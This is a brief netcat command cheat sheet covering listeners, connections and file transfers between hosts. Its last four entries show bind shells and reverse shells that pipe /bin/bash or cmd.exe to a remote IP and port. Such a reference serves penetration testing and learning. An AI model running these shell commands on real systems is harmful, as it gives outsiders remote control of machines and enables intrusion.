Netcat listener

```
nc -l -p {port}
```

This will open a netcat listener to listen for connections on the specified port, and print the request data to the terminal.

Netcat connect

```
nc {targetIP} {port}
```

This will connect to the specified port on the target listed.

File transfer: Push from client to listener

```
nc -l -p {port} > {fileOutput}
```

This will listen on the specified port and store the results in the file specified

File transfer: Push from client to listener

```
nc -w3 {targetIP} {port} < {fileInput}
```

This will push the specified file to the specified target IP and port.

File transfer: Pull file from listener to client

```
nc -l -p {port} < {fileInput}
```

This will feed the specified file from the listener to the client

File transfer: Pull file from listener to client

```
nc -w3 {targetIP} {port} > {fileOutput}
```

This will pull the received file to the specified target file

Shell: Linux Listener

```
nc -l -p {port} -e /bin/bash
```

Executes the received commands using bash

Shell: Windows Listener

```
nc -l -p {port} -e cmd.exe
```

Executes the received commands using windows command shell

Reverse Shell: Linux

```
nc {targetIP} {port} -e /bin/bash
```

Starts a reverse bash shell which will connect back to the specified IP and port

Reverse Shell: Windows

```
nc {targetIP} {port} -e cmd.exe
```

Starts a reverse cmd shell which will connect back to the specified IP and port